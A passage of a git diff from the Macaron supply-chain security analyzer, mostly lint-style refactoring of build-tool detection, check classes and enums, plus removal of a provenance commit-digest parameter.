analysis_target.parsed_purl, + provenance_commit_digest=provenance_commit_digest, ) if git_obj: final_digest = git_obj.get_head().hash @@ -466,18 +465,17 @@ def run_single( ) # Check if repo came from direct input. - if parsed_purl: - if check_if_input_purl_provenance_conflict( - bool(repo_path_input), - provenance_repo_url, - parsed_purl, - ): - return Record( - record_id=repo_id, - description="Input mismatch between repo (purl) and provenance.", - pre_config=config, - status=SCMStatus.ANALYSIS_FAILED, - ) + if parsed_purl and check_if_input_purl_provenance_conflict( + bool(repo_path_input), + provenance_repo_url, + parsed_purl, + ): + return Record( + record_id=repo_id, + description="Input mismatch between repo (purl) and provenance.", + pre_config=config, + status=SCMStatus.ANALYSIS_FAILED, + ) # Create the component. try: @@ -705,13 +703,9 @@ def add_repository(self, branch_name: str | None, git_obj: Git) -> Repository | commit_date_str, ) - self.rich_handler.add_description_table_content("Branch:", res_branch if res_branch else "None") - self.rich_handler.add_description_table_content( - "Commit Hash:", commit_sha if commit_sha else "[red]Not Found[/]" - ) - self.rich_handler.add_description_table_content( - "Commit Date:", commit_date_str if commit_date_str else "[red]Not Found[/]" - ) + self.rich_handler.add_description_table_content("Branch:", res_branch or "None") + self.rich_handler.add_description_table_content("Commit Hash:", commit_sha or "[red]Not Found[/]") + self.rich_handler.add_description_table_content("Commit Date:", commit_date_str or "[red]Not Found[/]") return repository @@ -880,7 +874,6 @@ def to_analysis_target( available_domains: list[str], parsed_purl: PackageURL | None, provenance_repo_url: str | None = None, - provenance_commit_digest: str | None = None, package_registries_info: list[PackageRegistryInfo] | None = None, ) -> AnalysisTarget: """Resolve the details of a software component from user input. @@ -896,8 +889,6 @@ def to_analysis_target( The PURL to use for the analysis target, or None if one has not been provided. provenance_repo_url: str | None The repository URL extracted from provenance, or None if not found or no provenance. - provenance_commit_digest: str | None - The commit extracted from provenance, or None if not found or no provenance. package_registries_info: list[PackageRegistryInfo] | None The list of package registry information if available. If no package registries are loaded, this can be set to None. @@ -930,12 +921,12 @@ def to_analysis_target( repo: str | None = None # parsed_purl cannot be None here, but mypy cannot detect that without some extra help. if parsed_purl is not None: - if provenance_repo_url or provenance_commit_digest: + if provenance_repo_url: return Analyzer.AnalysisTarget( parsed_purl=parsed_purl, repo_path=provenance_repo_url or "", branch="", - digest=provenance_commit_digest or "", + digest="", repo_finder_outcome=repo_finder_outcome, ) @@ -978,7 +969,7 @@ def to_analysis_target( parsed_purl=parsed_purl, repo_path=repo_path_input, branch=input_branch, - digest=provenance_commit_digest or "", + digest="", repo_finder_outcome=repo_finder_outcome, ) @@ -1150,7 +1141,7 @@ def _determine_package_registries( """Determine the package registries used by the software component.""" relevant_package_registries = [] for package_registry in package_registries_info: - if not package_registry.ecosystem == analyze_ctx.component.type: + if package_registry.ecosystem != analyze_ctx.component.type: continue relevant_package_registries.append(package_registry) diff --git a/src/macaron/slsa_analyzer/build_tool/base_build_tool.py b/src/macaron/slsa_analyzer/build_tool/base_build_tool.py index e455a06bc..31229156c 100644 --- a/src/macaron/slsa_analyzer/build_tool/base_build_tool.py +++ b/src/macaron/slsa_analyzer/build_tool/base_build_tool.py @@ -14,7 +14,7 @@ from collections import deque from collections.abc import Callable, Iterable from dataclasses import dataclass -from enum import Enum +from enum import StrEnum from pathlib import Path from typing import TYPE_CHECKING, Any, TypeAlias, TypedDict @@ -37,7 +37,7 @@ BuildToolConfig: TypeAlias = tuple[str, float, str | None, str | None] -class BuildEcosystem(str, Enum): +class BuildEcosystem(StrEnum): """The supported build ecosystems.""" MAVEN = "maven" @@ -149,9 +149,8 @@ def _accepted(p: Path) -> bool: ) # Check for file directly at root. - if target_path := find_first_matching_file(root_dir, file_name): - if _accepted(target_path): - return target_path + if (target_path := find_first_matching_file(root_dir, file_name)) and _accepted(target_path): + return target_path def _enqueue_subdirs(directory: Path, queue: deque[Path]) -> None: """Add non-symlink subdirectories to the search queue.""" @@ -170,9 +169,8 @@ def _enqueue_subdirs(directory: Path, queue: deque[Path]) -> None: if filters and any(keyword in current_dir.name.lower() for keyword in filters): continue - if candidate_path := find_first_matching_file(current_dir, file_name): - if _accepted(candidate_path): - return candidate_path + if (candidate_path := find_first_matching_file(current_dir, file_name)) and _accepted(candidate_path): + return candidate_path _enqueue_subdirs(current_dir, search_queue) @@ -317,10 +315,9 @@ def match_purl_type(self, component_purl_type: str) -> bool: bool True if the type matches or is not restricted; False otherwise. """ - if component_purl_type.upper() in [b.name for b in BuildEcosystem] and component_purl_type != self.purl_type: - return False - # Otherwise return True because the component PURL type can repositories, like github. - return True + return not ( + component_purl_type.upper() in (b.name for b in BuildEcosystem) and component_purl_type != self.purl_type + ) def get_dep_analyzer(self) -> DependencyAnalyzer: """Create a DependencyAnalyzer for the build tool. @@ -332,9 +329,7 @@ def get_dep_analyzer(self) -> DependencyAnalyzer: """ return NoneDependencyAnalyzer() - def set_build_tool_configurations( - self, build_tool_configs: list[BuildToolConfig] - ) -> None: + def set_build_tool_configurations(self, build_tool_configs: list[BuildToolConfig]) -> None: """Set the build tool configurations for the instance. Parameters @@ -429,10 +424,7 @@ def is_build_command(self, cmd: list[str]) -> bool: return False build_tools = set(itertools.chain(self.builder, self.packager, self.publisher, self.interpreter)) - if any(tool for tool in build_tools if tool == cmd_program_name): - return True - - return False + return bool(any(tool for tool in build_tools if tool == cmd_program_name)) def match_cmd_args(self, cmd: list[str], tools: list[str], args: list[str]) -> bool: """ @@ -599,7 +591,7 @@ def is_deploy_command( if cmd["language"] is not self.language: return False, Confidence.HIGH # Some projects use a publisher tool and some use the build tool with deploy arguments. - deploy_tool = self.publisher if self.publisher else self.builder + deploy_tool = self.publisher or self.builder if not self.match_cmd_args(cmd=cmd["command"], tools=deploy_tool, args=self.deploy_arg): return False, Confidence.HIGH @@ -635,7 +627,7 @@ def is_package_command( if cmd["language"] is not self.language: return False, Confidence.HIGH - builder = self.packager if self.packager else self.builder + builder = self.packager or self.builder if not self.match_cmd_args(cmd=cmd["command"], tools=builder, args=self.build_arg): return False, Confidence.HIGH diff --git a/src/macaron/slsa_analyzer/build_tool/conda.py b/src/macaron/slsa_analyzer/build_tool/conda.py index 307368964..7d9de0b58 100644 --- a/src/macaron/slsa_analyzer/build_tool/conda.py +++ b/src/macaron/slsa_analyzer/build_tool/conda.py @@ -120,7 +120,7 @@ def is_deploy_command( cmd_program_name = os.path.basename(build_cmd[0]) # Some projects use a publisher tool and some use the build tool with deploy arguments. - deploy_tools = self.publisher if self.publisher else self.builder + deploy_tools = self.publisher or self.builder deploy_args = self.deploy_arg # Sometimes conda is called as a Python module. @@ -167,7 +167,7 @@ def is_package_command( if not cmd_program_name: return False, Confidence.HIGH - builder = self.packager if self.packager else self.builder + builder = self.packager or self.builder build_args = self.build_arg # Sometimes conda is called as a Python module. diff --git a/src/macaron/slsa_analyzer/build_tool/flit.py b/src/macaron/slsa_analyzer/build_tool/flit.py index 9fb565734..9fb38a972 100644 --- a/src/macaron/slsa_analyzer/build_tool/flit.py +++ b/src/macaron/slsa_analyzer/build_tool/flit.py @@ -132,7 +132,7 @@ def is_deploy_command( cmd_program_name = os.path.basename(build_cmd[0]) # Some projects use a publisher tool and some use the build tool with deploy arguments. - deploy_tools = self.publisher if self.publisher else self.builder + deploy_tools = self.publisher or self.builder deploy_args = self.deploy_arg # Sometimes flit is called as a Python module. @@ -179,7 +179,7 @@ def is_package_command( if not cmd_program_name: return False, Confidence.HIGH - builder = self.packager if self.packager else self.builder + builder = self.packager or self.builder build_args = self.build_arg # Sometimes flit is called as a Python module. diff --git a/src/macaron/slsa_analyzer/build_tool/gradle.py b/src/macaron/slsa_analyzer/build_tool/gradle.py index 14a4aaafa..cb22518b6 100644 --- a/src/macaron/slsa_analyzer/build_tool/gradle.py +++ b/src/macaron/slsa_analyzer/build_tool/gradle.py @@ -7,7 +7,7 @@ """ import logging -import subprocess # nosec B404 +import subprocess from pathlib import Path from macaron.config.defaults import defaults @@ -261,7 +261,7 @@ def get_group_id(self, gradle_exec: str, project_path: str) -> str | None: logger.info( "Identifying the group ID for the artifact. This can take a while if Gradle needs to be downloaded." ) - result = subprocess.run( # nosec B603 + result = subprocess.run( # noqa: S603 [gradle_exec, "properties"], capture_output=True, cwd=project_path, diff --git a/src/macaron/slsa_analyzer/build_tool/hatch.py b/src/macaron/slsa_analyzer/build_tool/hatch.py index 68b5d4864..a9d473224 100644 --- a/src/macaron/slsa_analyzer/build_tool/hatch.py +++ b/src/macaron/slsa_analyzer/build_tool/hatch.py @@ -67,9 +67,7 @@ def is_detected(self, target: Component) -> list[BuildToolConfig]: if not repo_path: return [] - results: list[BuildToolConfig] = ( - [] - ) + results: list[BuildToolConfig] = [] confidence_score = 1.0 for config_name in self.build_configs: if config_path := file_exists(repo_path, config_name, filters=self.path_filters): @@ -133,7 +131,7 @@ def is_deploy_command( cmd_program_name = os.path.basename(build_cmd[0]) # Some projects use a publisher tool and some use the build tool with deploy arguments. - deploy_tools = self.publisher if self.publisher else self.builder + deploy_tools = self.publisher or self.builder deploy_args = self.deploy_arg # Sometimes hatch is called as a Python module. @@ -180,7 +178,7 @@ def is_package_command( if not cmd_program_name: return False, Confidence.HIGH - builder = self.packager if self.packager else self.builder + builder = self.packager or self.builder build_args = self.build_arg # Sometimes hatch is called as a Python module. diff --git a/src/macaron/slsa_analyzer/build_tool/language.py b/src/macaron/slsa_analyzer/build_tool/language.py index 5b5d47d9f..8ad01a821 100644 --- a/src/macaron/slsa_analyzer/build_tool/language.py +++ b/src/macaron/slsa_analyzer/build_tool/language.py @@ -1,13 +1,13 @@ -# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains abstractions for build languages.""" -from enum import Enum +from enum import StrEnum from typing import Protocol, runtime_checkable -class BuildLanguage(str, Enum): +class BuildLanguage(StrEnum): """The supported build languages.""" JAVA = "java" diff --git a/src/macaron/slsa_analyzer/build_tool/npm.py b/src/macaron/slsa_analyzer/build_tool/npm.py index 56b07d722..6004bb06f 100644 --- a/src/macaron/slsa_analyzer/build_tool/npm.py +++ b/src/macaron/slsa_analyzer/build_tool/npm.py @@ -107,7 +107,7 @@ def is_deploy_command( cmd_program_name = os.path.basename(build_cmd[0]) # Some projects use a publisher tool and some use the build tool with deploy arguments. - deploy_tools = self.publisher if self.publisher else self.builder + deploy_tools = self.publisher or self.builder deploy_args = self.deploy_arg # Sometimes npm commands use the `run` sub-command: @@ -155,7 +155,7 @@ def is_package_command( if not cmd_program_name: return False, Confidence.HIGH - builder = self.packager if self.packager else self.builder + builder = self.packager or self.builder build_args = self.build_arg # Sometimes npm commands use the `run` sub-command: diff --git a/src/macaron/slsa_analyzer/build_tool/pip.py b/src/macaron/slsa_analyzer/build_tool/pip.py index 122b97ed6..fc27cbe95 100644 --- a/src/macaron/slsa_analyzer/build_tool/pip.py +++ b/src/macaron/slsa_analyzer/build_tool/pip.py @@ -67,9 +67,7 @@ def is_detected(self, target: Component) -> list[BuildToolConfig]: if not repo_path: return [] - results: list[BuildToolConfig] = ( - [] - ) + results: list[BuildToolConfig] = [] confidence_score = 1.0 @@ -143,7 +141,7 @@ def is_deploy_command( cmd_program_name = os.path.basename(build_cmd[0]) # Some projects use a publisher tool and some use the build tool with deploy arguments. - deploy_tools = self.publisher if self.publisher else self.builder + deploy_tools = self.publisher or self.builder deploy_args = self.deploy_arg # Sometimes pip is called as a Python module. @@ -190,7 +188,7 @@ def is_package_command( if not cmd_program_name: return False, Confidence.HIGH - builder = self.packager if self.packager else self.builder + builder = self.packager or self.builder build_args = self.build_arg # Sometimes pip is called as a Python module. diff --git a/src/macaron/slsa_analyzer/build_tool/poetry.py b/src/macaron/slsa_analyzer/build_tool/poetry.py index a6499fe30..c7b20a86e 100644 --- a/src/macaron/slsa_analyzer/build_tool/poetry.py +++ b/src/macaron/slsa_analyzer/build_tool/poetry.py @@ -78,9 +78,7 @@ def is_detected(self, target: Component) -> list[BuildToolConfig]: file_paths = (file_exists(repo_path, file, filters=self.path_filters) for file in self.build_configs) for config_path in file_paths: if config_path and os.path.basename(config_path) == "pyproject.toml": - if package_lock_exists: - results.append((str(config_path.relative_to(repo_path)), confidence_score, None, None)) - elif pyproject.contains_build_tool("poetry", config_path): + if package_lock_exists or pyproject.contains_build_tool("poetry", config_path): results.append((str(config_path.relative_to(repo_path)), confidence_score, None, None)) # Check the build-system section. else: @@ -139,7 +137,7 @@ def is_deploy_command( cmd_program_name = os.path.basename(build_cmd[0]) # Some projects use a publisher tool and some use the build tool with deploy arguments. - deploy_tools = self.publisher if self.publisher else self.builder + deploy_tools = self.publisher or self.builder deploy_args = self.deploy_arg # Sometimes poetry is called as a Python module. @@ -186,7 +184,7 @@ def is_package_command( if not cmd_program_name: return False, Confidence.HIGH - builder = self.packager if self.packager else self.builder + builder = self.packager or self.builder build_args = self.build_arg # Sometimes poetry is called as a Python module. diff --git a/src/macaron/slsa_analyzer/build_tool/pyproject.py b/src/macaron/slsa_analyzer/build_tool/pyproject.py index 5b327f94c..9a7152130 100644 --- a/src/macaron/slsa_analyzer/build_tool/pyproject.py +++ b/src/macaron/slsa_analyzer/build_tool/pyproject.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module provides analysis functions for a pyproject.toml file.""" @@ -59,9 +59,7 @@ def contains_build_tool(tool_name: str, pyproject_path: Path) -> bool: # Check for the existence of a [tool.] section. tools = json_extract(content, ["tool"], dict) - if tools and tool_name in tools: - return True - return False + return bool(tools and tool_name in tools) def build_system_contains_tool(tool_name: str, pyproject_path: Path) -> bool: @@ -90,10 +88,7 @@ def build_system_contains_tool(tool_name: str, pyproject_path: Path) -> bool: return True # Check in 'requires' list. requires = json_extract(content, ["build-system", "requires"], list) - if requires and any(tool_name in req for req in requires): - return True - - return False + return bool(requires and any(tool_name in req for req in requires)) def get_build_system(pyproject_path: Path) -> dict[str, str] | None: diff --git a/src/macaron/slsa_analyzer/build_tool/uv.py b/src/macaron/slsa_analyzer/build_tool/uv.py index b31fd76a6..5a2dd4307 100644 --- a/src/macaron/slsa_analyzer/build_tool/uv.py +++ b/src/macaron/slsa_analyzer/build_tool/uv.py @@ -75,9 +75,7 @@ def is_detected(self, target: Component) -> list[BuildToolConfig]: file_paths = (file_exists(repo_path, file, filters=self.path_filters) for file in self.build_configs) for config_path in file_paths: if config_path and os.path.basename(config_path) == "pyproject.toml": - if package_lock_exists: - results.append((str(config_path.relative_to(repo_path)), confidence_score, None, None)) - elif pyproject.contains_build_tool("uv", config_path): + if package_lock_exists or pyproject.contains_build_tool("uv", config_path): results.append((str(config_path.relative_to(repo_path)), confidence_score, None, None)) else: for tool in self.build_requires + self.build_backend: @@ -130,7 +128,7 @@ def is_deploy_command( build_cmd = cmd["command"] cmd_program_name = os.path.basename(build_cmd[0]) - deploy_tools = self.publisher if self.publisher else self.builder + deploy_tools = self.publisher or self.builder deploy_args = self.deploy_arg if cmd_program_name in self.interpreter and len(build_cmd) > 2 and build_cmd[1] in self.interpreter_flag: @@ -170,7 +168,7 @@ def is_package_command( if not cmd_program_name: return False, Confidence.HIGH - builder = self.packager if self.packager else self.builder + builder = self.packager or self.builder build_args = self.build_arg if cmd_program_name in self.interpreter and len(build_cmd) > 2 and build_cmd[1] in self.interpreter_flag: diff --git a/src/macaron/slsa_analyzer/build_tool/yarn.py b/src/macaron/slsa_analyzer/build_tool/yarn.py index 36a9660b8..015be01ed 100644 --- a/src/macaron/slsa_analyzer/build_tool/yarn.py +++ b/src/macaron/slsa_analyzer/build_tool/yarn.py @@ -105,7 +105,7 @@ def is_deploy_command( cmd_program_name = os.path.basename(build_cmd[0]) # Some projects use a publisher tool and some use the build tool with deploy arguments. - deploy_tools = self.publisher if self.publisher else self.builder + deploy_tools = self.publisher or self.builder deploy_args = self.deploy_arg # Sometimes yarn commands use the `run` sub-command: @@ -153,7 +153,7 @@ def is_package_command( if not cmd_program_name: return False, Confidence.HIGH - builder = self.packager if self.packager else self.builder + builder = self.packager or self.builder build_args = self.build_arg # Sometimes yarn commands use the `run` sub-command: diff --git a/src/macaron/slsa_analyzer/checks/base_check.py b/src/macaron/slsa_analyzer/checks/base_check.py index 53f857828..d6e4193ed 100644 --- a/src/macaron/slsa_analyzer/checks/base_check.py +++ b/src/macaron/slsa_analyzer/checks/base_check.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the BaseCheck class to be inherited by other concrete Checks.""" @@ -52,7 +52,7 @@ def __init__( self._check_info = CheckInfo( check_id=check_id, check_description=description, - eval_reqs=eval_reqs if eval_reqs else [], + eval_reqs=eval_reqs or [], ) if not depends_on: @@ -128,7 +128,7 @@ def run(self, target: AnalyzeContext, skipped_info: SkippedInfo | None = None) - # refactoring. justification_str = "" for _, ele in check_result_data.justification_report: - justification_str += f"{str(ele)}. " + justification_str += f"{ele!s}. " target.bulk_update_req_status( self.check_info.eval_reqs, diff --git a/src/macaron/slsa_analyzer/checks/build_as_code_check.py b/src/macaron/slsa_analyzer/checks/build_as_code_check.py index bf3693a78..817f084eb 100644 --- a/src/macaron/slsa_analyzer/checks/build_as_code_check.py +++ b/src/macaron/slsa_analyzer/checks/build_as_code_check.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the BuildAsCodeCheck class.""" @@ -39,7 +39,7 @@ class BuildAsCodeFacts(CheckFacts): __tablename__ = "_build_as_code_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The name of the tool used to build. build_tool_name: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.TEXT}) @@ -71,7 +71,7 @@ class BuildAsCodeFacts(CheckFacts): #: The command used to deploy. deploy_command: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.TEXT}) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 https://github.com/astral-sh/ruff/issues/25392 "polymorphic_identity": "_build_as_code_check", } @@ -304,29 +304,28 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData: # We currently don't parse these CI configuration files. # We just look for a keyword for now. for unparsed_ci in (Travis, CircleCI, GitLabCI): - if isinstance(ci_service, unparsed_ci): - if tool.ci_deploy_kws[ci_service.name]: - deploy_kw, config_name = ci_service.has_kws_in_config( - tool.ci_deploy_kws[ci_service.name], - build_tool_name=tool.name, - repo_path=ctx.component.repository.fs_path, - ) - if not config_name: - break + if isinstance(ci_service, unparsed_ci) and tool.ci_deploy_kws[ci_service.name]: + deploy_kw, config_name = ci_service.has_kws_in_config( + tool.ci_deploy_kws[ci_service.name], + build_tool_name=tool.name, + repo_path=ctx.component.repository.fs_path, + ) + if not config_name: + break - store_inferred_build_info_results( - ctx=ctx, ci_info=ci_info, ci_service=ci_service, trigger_link=config_name - ) - result_tables.append( - BuildAsCodeFacts( - build_tool_name=tool.name, - language=tool.language.value, - ci_service_name=ci_service.name, - deploy_command=deploy_kw, - confidence=Confidence.LOW, - ) + store_inferred_build_info_results( + ctx=ctx, ci_info=ci_info, ci_service=ci_service, trigger_link=config_name + ) + result_tables.append( + BuildAsCodeFacts( + build_tool_name=tool.name, + language=tool.language.value, + ci_service_name=ci_service.name, + deploy_command=deploy_kw, + confidence=Confidence.LOW, ) - overall_res = CheckResultType.PASSED + ) + overall_res = CheckResultType.PASSED # The check passing is contingent on at least one passing, if # one passes treat whole check as passing. We do still need to diff --git a/src/macaron/slsa_analyzer/checks/build_script_check.py b/src/macaron/slsa_analyzer/checks/build_script_check.py index 76374eed1..ea0663f64 100644 --- a/src/macaron/slsa_analyzer/checks/build_script_check.py +++ b/src/macaron/slsa_analyzer/checks/build_script_check.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the BuildScriptCheck class.""" @@ -29,7 +29,7 @@ class BuildScriptFacts(CheckFacts): __tablename__ = "_build_script_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The name of the tool used to build. build_tool_name: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.TEXT}) @@ -63,7 +63,7 @@ class BuildScriptFacts(CheckFacts): String, nullable=True, info={"justification": JustificationType.TEXT} ) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_build_script_check", } diff --git a/src/macaron/slsa_analyzer/checks/build_service_check.py b/src/macaron/slsa_analyzer/checks/build_service_check.py index f2439d55a..872709362 100644 --- a/src/macaron/slsa_analyzer/checks/build_service_check.py +++ b/src/macaron/slsa_analyzer/checks/build_service_check.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the BuildServiceCheck class.""" @@ -32,7 +32,7 @@ class BuildServiceFacts(CheckFacts): __tablename__ = "_build_service_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The name of the tool used to build. build_tool_name: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.TEXT}) @@ -64,7 +64,7 @@ class BuildServiceFacts(CheckFacts): String, nullable=True, info={"justification": JustificationType.HREF} ) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_build_service_check", } @@ -169,29 +169,28 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData: # We currently don't parse these CI configuration files. # We just look for a keyword for now. for unparsed_ci in (Travis, CircleCI, GitLabCI): - if isinstance(ci_service, unparsed_ci): - if tool.ci_build_kws[ci_service.name]: - build_kw, config_name = ci_service.has_kws_in_config( - tool.ci_build_kws[ci_service.name], - build_tool_name=tool.name, - repo_path=ctx.component.repository.fs_path, - ) - if not config_name: - break + if isinstance(ci_service, unparsed_ci) and tool.ci_build_kws[ci_service.name]: + build_kw, config_name = ci_service.has_kws_in_config( + tool.ci_build_kws[ci_service.name], + build_tool_name=tool.name, + repo_path=ctx.component.repository.fs_path, + ) + if not config_name: + break - store_inferred_build_info_results( - ctx=ctx, ci_info=ci_info, ci_service=ci_service, trigger_link=config_name - ) - result_tables.append( - BuildServiceFacts( - build_tool_name=tool.name, - language=tool.language.value, - ci_service_name=ci_service.name, - build_command=build_kw, - confidence=Confidence.LOW, - ) + store_inferred_build_info_results( + ctx=ctx, ci_info=ci_info, ci_service=ci_service, trigger_link=config_name + ) + result_tables.append( + BuildServiceFacts( + build_tool_name=tool.name, + language=tool.language.value, + ci_service_name=ci_service.name, + build_command=build_kw, + confidence=Confidence.LOW, ) - overall_res = CheckResultType.PASSED + ) + overall_res = CheckResultType.PASSED # The check passing is contingent on at least one passing, if # one passes treat whole check as passing. We do still need to diff --git a/src/macaron/slsa_analyzer/checks/build_tool_check.py b/src/macaron/slsa_analyzer/checks/build_tool_check.py index 66d323399..9fb0087fa 100644 --- a/src/macaron/slsa_analyzer/checks/build_tool_check.py +++ b/src/macaron/slsa_analyzer/checks/build_tool_check.py @@ -24,7 +24,7 @@ class BuildToolFacts(CheckFacts): __tablename__ = "_build_tool_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The language of the artifact built by build tool. language: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.TEXT}) @@ -53,7 +53,7 @@ class BuildToolFacts(CheckFacts): String, nullable=True, info={"justification": JustificationType.HREF} ) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_build_tool_check", } diff --git a/src/macaron/slsa_analyzer/checks/check_result.py b/src/macaron/slsa_analyzer/checks/check_result.py index afedbaf9c..47d8c76c6 100644 --- a/src/macaron/slsa_analyzer/checks/check_result.py +++ b/src/macaron/slsa_analyzer/checks/check_result.py @@ -5,14 +5,14 @@ import json from dataclasses import dataclass -from enum import Enum +from enum import Enum, StrEnum from typing import TypedDict from macaron.database.table_definitions import CheckFacts from macaron.slsa_analyzer.slsa_req import BUILD_REQ_DESC, ReqName -class CheckResultType(str, Enum): +class CheckResultType(StrEnum): """This class contains the types of a check result.""" PASSED = "PASSED" @@ -157,7 +157,7 @@ def get_confidence_level(cls, normalized_score: float) -> "Confidence": return min(cls, key=lambda c: abs(c.value - normalized_score)) -class JustificationType(str, Enum): +class JustificationType(StrEnum): """This class contains the type of a justification that will be used in creating the HTML report.""" #: If a justification has a text type, it will be added as a plain text. @@ -293,7 +293,4 @@ def get_result_as_bool(check_result_type: CheckResultType) -> bool: ------- bool """ - if check_result_type in (CheckResultType.FAILED, CheckResultType.UNKNOWN): - return False - - return True + return check_result_type not in (CheckResultType.FAILED, CheckResultType.UNKNOWN) diff --git a/src/macaron/slsa_analyzer/checks/detect_malicious_metadata_check.py b/src/macaron/slsa_analyzer/checks/detect_malicious_metadata_check.py index 87f4877d8..4d2bfc103 100644 --- a/src/macaron/slsa_analyzer/checks/detect_malicious_metadata_check.py +++ b/src/macaron/slsa_analyzer/checks/detect_malicious_metadata_check.py @@ -1,4 +1,4 @@ -# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This check examines the metadata of pypi packages with seven heuristics.""" @@ -56,7 +56,7 @@ class MaliciousMetadataFacts(CheckFacts): __tablename__ = "_detect_malicious_metadata_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: Known malware. known_malware: Mapped[str | None] = mapped_column( @@ -71,7 +71,7 @@ class MaliciousMetadataFacts(CheckFacts): DBJsonDict, nullable=False, info={"justification": JustificationType.TEXT} ) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_detect_malicious_metadata_check", } @@ -294,10 +294,12 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData: for package_registry_info_entry in package_registry_info_entries: match package_registry_info_entry: # Currently, only PyPI packages are supported. - case PackageRegistryInfo( - ecosystem="pypi", - package_registry=PyPIRegistry(), - ) as pypi_registry_info: + case ( + PackageRegistryInfo( + ecosystem="pypi", + package_registry=PyPIRegistry(), + ) as pypi_registry_info + ): # Retrieve the pre-existing asset, or create a new one. pypi_package_json = find_or_create_pypi_asset( ctx.component.name, ctx.component.version, pypi_registry_info @@ -356,9 +358,9 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData: # Return UNKNOWN result for unsupported ecosystems. return CheckResultData(result_tables=[], result_type=CheckResultType.UNKNOWN) - # This list contains the heuristic analyzer classes - # When implementing new analyzer, appending the classes to this list - analyzers: list = [ + # This list contains the heuristic analyzer classes. When implementing a new analyzer, + # append its classes to this list. + analyzers = ( EmptyProjectLinkAnalyzer, SourceCodeRepoAnalyzer, OneReleaseAnalyzer, @@ -373,9 +375,9 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData: SimilarProjectAnalyzer, PackageDescriptionIntentAnalyzer, TypeStubFileAnalyzer, - ] + ) - # name used to query the result of all problog rules, so it can be accessed outside the model. + # Name used to query the result of all problog rules, so it can be accessed outside the model. problog_result_access = "result" malware_rules_problog_model = f""" diff --git a/src/macaron/slsa_analyzer/checks/github_actions_vulnerability_check.py b/src/macaron/slsa_analyzer/checks/github_actions_vulnerability_check.py index 4fb2e92ec..eaae86e36 100644 --- a/src/macaron/slsa_analyzer/checks/github_actions_vulnerability_check.py +++ b/src/macaron/slsa_analyzer/checks/github_actions_vulnerability_check.py @@ -6,7 +6,7 @@ import logging import os import re -from enum import Enum +from enum import StrEnum from sqlalchemy import Boolean, ForeignKey, Integer, String from sqlalchemy.orm import Mapped, mapped_column @@ -40,7 +40,7 @@ logger: logging.Logger = logging.getLogger(__name__) -class GitHubActionsFindingType(str, Enum): +class GitHubActionsFindingType(StrEnum): """Enumeration of finding categories for GitHub Actions vulnerability check facts.""" # Note: finding_type is the subtype within a top-level finding_group. @@ -49,7 +49,7 @@ class GitHubActionsFindingType(str, Enum): UNPINNED_THIRD_PARTY_ACTION = "unpinned-third-party-action" 